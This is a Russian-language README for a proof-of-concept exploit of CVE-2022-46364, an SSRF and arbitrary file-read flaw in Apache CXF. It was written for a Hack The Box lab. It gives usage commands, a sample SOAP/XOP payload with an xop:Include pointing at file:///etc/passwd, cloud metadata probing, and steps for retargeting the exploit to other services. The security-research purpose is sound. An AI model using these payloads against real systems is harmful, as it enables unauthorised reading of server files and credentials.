
PoC-эксплойт для CVE-2022-46364, уязвимости SSRF в Apache CXF, позволяющей читать произвольные файлы и зондировать внутреннюю сеть с помощью специально созданных MTOM/XOP SOAP-запросов.
Proof-of-Concept эксплойт для CVE-2022-46364 — SSRF-уязвимости на стороне сервера Apache CXF при обработке запросов MTOM/XOP.
CVE-2022-46364 затрагивает Apache CXF версий до 3.4.10 и 3.5.5. Когда MTOM (Message Transmission Optimization Mechanism) включён на SOAP-сервисе, демаршаллер CXF некорректно проверяет атрибут href внутри элементов <xop:Include>. Вместо того чтобы ограничивать href URI со схемой cid: (как того требует спецификация W3C XOP), CXF разыменовывает произвольные URI — включая file://, http:// и https://.
Это позволяет неавторизованному атакующему:
file:///etc/passwd)http://169.254.169.254/)Данный PoC написан и протестирован против машины Hack The Box:
Целевая конечная точка: http://devarea.htb:8080/employeeservice
Однако небольшие изменения XML-нагрузки в соответствии с WSDL цели позволяют адаптировать его под другую среду.
По умолчанию URL: http://devarea.htb:8080/employeeservice.
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
Важно: Этот скрипт жёстко привязан к структуре WSDL машины HTB DevArea. Чтобы использовать его против другого уязвимого Apache CXF-сервиса, вы должны изменить SOAP-нагрузку внутри
build_payload()в соответствии с WSDL-контрактом цели.
Получите WSDL от цели:
curl http://target:8080/employeeservice?wsdl
Определите детали сервиса:
targetNamespace (например, http://devarea.htb/)submitReport)<arg0> с вложенным <content>)Измените нагрузку в build_payload():
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{filepath}"/> внутри поля, которое сервер будет обрабатывать как вложениеОбновите --url при запуске скрипта.
Дан фрагмент WSDL:
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
Ваша нагрузка должна стать такой:
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
multipart/related с Content-Type: application/xop+xml.<xop:Include href="file:///etc/passwd"/>.file://.<return>.Content: и декодирует её.| Ресурс | Ссылка |
|---|---|
| Предупреждение Apache CXF | CVE-2022-46364 |
| Запись в NVD | NVD — CVE-2022-46364 |
| Apache Jira (CXF-8706) | CXF-8706 |
| Спецификация W3C XOP | XML-binary Optimized Packaging |
| Глубокий разбор Penligent | CVE-2022-46364 PoC in Practice |
| HTB DevArea | Hack The Box — DevArea |
Данный инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Всегда получайте явное разрешение перед тестированием систем, которые вам не принадлежат. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим скриптом.
Лицензия MIT — можете свободно использовать, изменять и распространять с сохранением авторства.